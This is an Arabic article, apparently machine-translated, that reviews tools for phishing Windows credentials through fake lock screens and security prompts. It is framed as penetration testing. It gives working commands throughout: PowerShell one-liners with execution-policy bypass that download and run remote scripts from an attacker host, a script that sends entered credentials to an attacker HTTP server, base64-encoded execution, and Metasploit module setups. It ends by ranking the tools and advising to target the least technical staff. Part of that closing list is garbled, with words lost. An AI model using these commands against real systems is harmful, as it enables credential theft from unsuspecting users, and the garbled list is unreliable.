بيانات اعتماد Windows للتصيد الاحتيالي





في الربع الأول من عام 2020 ، تضاعف عدد هجمات التصيد الاحتيالي ضد المستخدمين في جميع أنحاء العالم مقارنة بالفترة نفسها من عام 2019 ، من 9٪ إلى 18٪. يتم توفير هذه البيانات من قبل "كاسبرسكي لاب".



في أنظمة تشغيل عائلة Windows ، من الطبيعي أن تطلب بعض البرامج والعمليات بيانات اعتماد المستخدم للمصادقة (على سبيل المثال ، في Outlook) لرفع امتيازات التنفيذ (التحكم في حساب المستخدم) أو ببساطة للخروج من وضع الاستعداد (Windows LockScreen). يتيح لك تقليد سلوك Windows هذا استرداد بيانات اعتماد المستخدم للتطبيق اللاحق في اختبار الاختراق. جمعت هذه المقالة ملخصًا للعديد من برامج التصيد الشائعة لتغيير شاشة القفل.



من عند#



غالبًا ما تعتمد تقنيات pentesting الحديثة على لغة البرمجة C # ، حيث يمكن تنفيذ البرامج الموجودة فيها من خلال أطر عمل مختلفة (Cobalt Strike ، العهد ، إلخ.)



1) تم تطوير الأداة المساعدة FakeLogonScreen بواسطة Arris Huijgen في C # ولا تحل محل شاشة إدخال كلمة مرور نظام التشغيل القياسية ، ويتم ذلك باستخدام معلمات الشاشة القياسية المحددة في النظام ، مما يزيد بشكل كبير من فرص عدم إثارة الشكوك لدى المستخدم والحصول بنجاح على بيانات اعتماد تسجيل الدخول الخاصة به.





FakeLogonScreen - إطلاق





FakeLogonScreen - قفل الشاشة



عند إدخال كلمة مرور في صفحة تسجيل دخول مزيفة ، سيقوم FakeLogonScreen بالتحقق من صحة بيانات الاعتماد في AD أو محليًا لتحديد ما إذا تم إدخال كلمة المرور بشكل صحيح. في المستقبل ، سيتم عرض كلمة المرور في وحدة التحكم pentester.





FakeLogonScreen - إدخال بيانات الاعتماد



يتضمن FakeLogonScreen أيضًا إصدارًا ثانيًا من الملف القابل للتنفيذ الذي يحفظ بيانات الاعتماد الملتقطة في ملف user.db محليًا على الجهاز المصاب. يمكن عرض هذا الملف باستخدام الأمر type:



type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db




FakeLogonScreen - الحفظ في ملف user.db



2) يعمل برنامج SharpLocker الذي طوره مات بيكفورد بطريقة مماثلة . بمجرد إطلاقه ، فإنه يحل أيضًا محل شاشة تسجيل الدخول الأصلية.





SharpLocker - قفل الشاشة



يتم اعتراض كل حرف يدخله المستخدم حتى يتم الكشف عن كلمة المرور بالكامل. ومع ذلك ، تجدر الإشارة إلى أن هذه الأداة المساعدة لا تقوم بمصادقة كلمة المرور وستتعرف على كل ما يدخله المستخدم في حقل كلمة المرور.





SharpLocker - تصيد كلمة المرور



قذيفة الطاقة



تعد مطالبات أمان Windows الخاصة ببيانات الاعتماد شائعة جدًا لأن البرامج في بيئة الشركة قد تتطلب بشكل منتظم تأكيدًا إضافيًا أو إعادة تفويض. Microsoft Outlook ، على سبيل المثال ، هو أحد ألمع ممثلي هذه البرامج ، والذي يطالب المستخدمين باستمرار ببيانات اعتماد المجال.



1. الأداة المساعدة التي تتنكر في شكل نافذة استعلام أمان Windows تسمى CredsLeaker . من أجل تشغيله بشكل صحيح ، يلزم وجود خادم ويب يتلقى منه جميع الملفات الضرورية ويخزن فيه بيانات اعتماد المستخدم ، بالإضافة إلى وجود PowerShell لإرسال طلبات HTTP إلى الخادم الخاص به. سيتم تنفيذ جميع الأوامر في المستقبل من ملف BAT المتضمن في التكوين.





CredsLeaker - تسليم HTTP



قبل تشغيل ملف run.bat ، تحتاج إلى إجراء جميع التغييرات اللازمة على ملفات التكوين الخاصة بالأداة. بمجرد بدء تشغيل ملف run.bat ، سيرى المستخدم نافذة أمان Windows تطلب بيانات اعتماده.





CredsLeaker -



نافذة التصيد ستختفي نافذة المطالبة فقط إذا تم إدخال بيانات اعتماد صالحة للمستخدم. سيتم حفظ المجال واسم الكمبيوتر واسم المستخدم وكلمة المرور في ملف creds.txt في المسار أدناه:



/var/www/html/creds.txt




CredsLeaker - إخراج إلى ملف creds.txt



2. قام Matt Nelson بتطوير برنامج نصي PowerShell يستدعي موجه بيانات اعتماد Windows Security ويقوم بالتحقق من صحته. لا يمكن للمستخدم أيضًا إغلاق هذه النافذة حتى يتم إدخال بيانات الاعتماد الحالية. يمكن تنفيذ هذا البرنامج النصي عن بُعد ، وسيتم عرض بيانات الاعتماد المُدخلة في وحدة التحكم على جهاز المهاجم:



 powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt




Invoke-LoginPrompt - استدعاء عن بعد





Invoke-LoginPrompt - نافذة التصيد



3. يتضمن إطار عمل Nishang أيضًا برنامج نصي PowerShell يقوم بإنشاء نافذة طلب بيانات اعتماد مستخدم وهمية.



Import-Module C:\Invoke-CredentialsPhish.ps1
 	Invoke-CredentialsPhish




Invoke-CredentialsPhish - مكالمة محلية ونافذة التصيد



ستعلمك النافذة التي تم إنشاؤها أن هذا الإجراء يتطلب تأكيدًا في شكل بيانات اعتماد. قد يشك المستخدمون الأكثر خبرة فيما يتعلق بأمن المعلومات في أن هذه النافذة ناتجة عن إطلاق تطبيق معين في الخلفية ، ولكن لا يمكن لجميع الأشخاص في شبكة الشركة الحصول على هذه المعرفة. سيتم عرض بيانات الاعتماد التي يدخلها المستخدم في مربع الحوار في وحدة التحكم.





Invoke-CredentialsPhish - إخراج البيانات المجمعة



يمكن أيضًا تشغيل هذا البرنامج النصي عن بُعد:



powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish


وصف Rob Fuller في مدونته الهجوم على التصيد الاحتيالي لبيانات اعتماد المستخدم باستخدام Metasploit و PowerShell. يتضمن Metasploit Framework وحدات يمكنها التقاط بيانات اعتماد المستخدم من بروتوكولات مختلفة (FTP ، SMB ، HTTP ، إلخ). يتم استخدام الوحدة التالية لنشر خادم HTTP أساسي مع المصادقة:



use auxiliary/server/capture/http_basic
set URIPATH /


يتم استخدام PowerShell لتنفيذ هجوم التصيد الاحتيالي على بيانات اعتماد المستخدم من خلال إنشاء نافذة مطالبة أمان Windows ثم إرسال بيانات الاعتماد المجمعة إلى خادم HTTP الذي تم إنشاؤه مسبقًا عبر Metasploit:



$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');


يتطلب الحصول على بيانات الاعتماد مبدئيًا استخدام ترميز UTF-16LE متبوعًا بالتحويل إلى Base64:



cat popup.txt | iconv -t UTF-16LE
 cat popup.txt | iconv -t UTF-16LE | base64 -w0




تحويل التعليمات البرمجية إلى Base64 يؤدي



تنفيذ التعليمات البرمجية المحددة ، محليًا أو عن بُعد ، إلى مطالبة المستخدم بالترخيص المزعوم بواسطة أمن Windows.



powershell.exe -ep bypass -enc <base64> 






نافذة بيانات اعتماد التصيد الاحتيالي



ستتلقى وحدة Metasploit بيانات الاعتماد بمجرد دخول المستخدم إليها.





خادم HTTP Metasploit - استرداد بيانات الاعتماد



ميتاسبلويت



يتضمن Metasploit Framework وحدة يمكنها بشكل مستقل تشغيل نافذة مزيفة تطلب ترخيص أمان Windows من أي عملية تقريبًا في النظام. لكي تعمل هذه الوحدة بشكل صحيح ، تحتاج إلى تحديد جلسة عمل مترمتر وعملية يتم نيابة عنها استدعاء طلب ترخيص أمان Windows المزيف.



use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run




وحدة Metasploit - التكوين



في هذه الحالة ، يخبر الرمز * الوحدة النمطية لمراقبة جميع العمليات التي تعمل نيابة عن النظام (NT Authority \ System) ، واستدعاء مربع حوار عند بدء عملية جديدة نيابة عن النظام.





وحدة Metasploit - مراقبة جميع العمليات



بمجرد بدء عملية جديدة ، سيُعرض على المستخدم مربع حوار نيابة عن هذه العملية مع طلب ترخيص لتأكيد مزيد من العمل المزعوم.





وحدة Metasploit - نافذة التصيد



بمجرد قيام المستخدم بإدخال بيانات الاعتماد ، يتم عرضها على الفور في وحدة تحكم Metasploit.





وحدة Metasploit - الحصول على بيانات الاعتماد



أيضًا ، يمكن تكوين هذه الوحدة لانتظار بدء عملية معينة.





وحدة Metasploit - استرداد بيانات الاعتماد عبر عملية notepad.exe



سحق



Lockphish هي أداة مساعدة أخرى قادرة على تنفيذ هجوم التصيد الذي ينتحل نافذة تسجيل الدخول إلى Windows. يتم تخزين نموذج نافذة تسجيل الدخول على خادم PHP ويستخدم YouTube افتراضيًا لإعادة توجيه المستخدم بعد إدخال اسم المستخدم وكلمة المرور.



 bash lockphish.sh




LockPhish - Launch



في هذه المرحلة ، تحتاج إلى استخدام الهندسة الاجتماعية لجذب المستخدم إلى موقع الويب حيث توجد ملفات شاشة القفل.





LockPhish - تنزيل ملف على



عكس جميع الأدوات المساعدة الأخرى ، قد لا يكون ترتيب العناصر على شاشة القفل هذه دقيقًا ، وسيتم عرض طلب التفويض نيابة عن المسؤول ، وليس نيابة عن حساب المستخدم الحالي ، ويتم تصميم نافذة القفل خارجيًا على أنها Windows 10 Lockscreen. كل هذا مجتمعة يمكن أن تنبه المستخدم بشكل كبير. لا تحتوي هذه الأداة المساعدة أيضًا على آليات للتحقق من صحة كلمة المرور التي تم إدخالها.





LockPhish - قفل الشاشة



بعد أن يقوم المستخدم بإدخال بيانات الاعتماد ، سيتم إجراء إعادة توجيه إلى موقع youtube.com على الويب.





LockPhish - إعادة توجيه



سيتم عرض بيانات الاعتماد في وحدة التحكم.





LockPhish - بيانات الاعتماد المجمعة



ستكون الأساليب المقدمة في المقالة فعالة إذا تمكن اختبار الاختراق بالفعل من الحصول على موطئ قدم في النظام (الحصول على نقطة دخول ثابتة) ، ولكن لا يمكن رفع الامتيازات أو الحصول على بيانات اعتماد المستخدم بطريقة أخرى. عند إجراء مثل هذه الهجمات الخادعة ، يجب عليك اختيار الجمهور المستهدف بعناية. ستكون الفعالية أعلى عدة مرات إذا كان الهدف هو أقل موظفي المؤسسة معرفة بتكنولوجيا المعلومات.



حكم موجز لجميع البرامج المختبرة



  • FakeLogonScreen. يبدو واقعيًا قدر الإمكان ، أثناء استخدام المعلمات القياسية المحددة في النظام. يعرف كيفية التحقق من صحة بيانات الاعتماد التي تم إدخالها. (الخيار الأفضل)

  • SharpLocker. , windows LockScreen, , . ( , FakeLogonScreen)
  • CredsLeaker. , , - . , - — , “” , - — , , . ( )
  • Invoke-LoginPrompt. , , Windows. . ( , )

  • Invoke-CredentialsPhish. , .

  • Rob Fuller. metasploit, , . ( )

  • Metasploit phish_windows_credentials. Metasploit ( ), . ( , IT- )

  • LockPhish. من ناحية أخرى ، شاشة قفل متعرجة ، بدون مصادقة ، وحتى بدون مراعاة المستخدم الحالي (يطلب دائمًا كلمة مرور من المسؤول). من ناحية أخرى ، فهو المريض الوحيد الذي يمكن تشغيله من خلال المتصفح. أرسل الرابط إلى الضحية وانتظر. (لا يوصى باستخدامه خارج الصندوق ، ومع ذلك ، إذا كنت تعرف اسم المستخدم لضحية معينة ، فقم بإعادة التكوين من Adminnistrator إليه ولن يكون سيئًا للغاية. قد يعمل حتى)

هناك المزيد من المواد في مدونتنا على Telegram. الإشتراك!



All Articles